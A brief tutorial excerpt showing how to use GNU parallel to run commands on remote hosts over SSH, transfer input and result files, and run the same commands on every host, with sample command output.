Sshlogin

# parallel -S 1/$SERVER1 echo running on {} (1 CPU)::: $SERVER1
running on 192.168.1.1 (1 CPU)
# parallel -S $SERVER1,$SERVER2 'hostname; echo {}' ::: running on more hosts
server2
running
server1
on
server2
more
server1
hosts

Transferring files

# echo This is input_file > input_file
# parallel -S $SERVER1 --transfer --return {}.out --cleanup cat {} ">" {}.out ::: input_file
# cat input_file.out
This is input_file
# echo common data > common_file
# parallel --basefile common_file -S $SERVER1 --cleanup cat common_file\; echo {} ::: foo
common data
foo

Running the same commands on all hosts

# parallel --onall -S $SERVER1,$SERVER2 echo ::: foo bar
foo
bar
foo
bar
# parallel --nonall -S $SERVER1,$SERVER2 echo foo bar
foo bar
foo bar

References

http://www.gnu.org/software/parallel/parallel_tutorial.html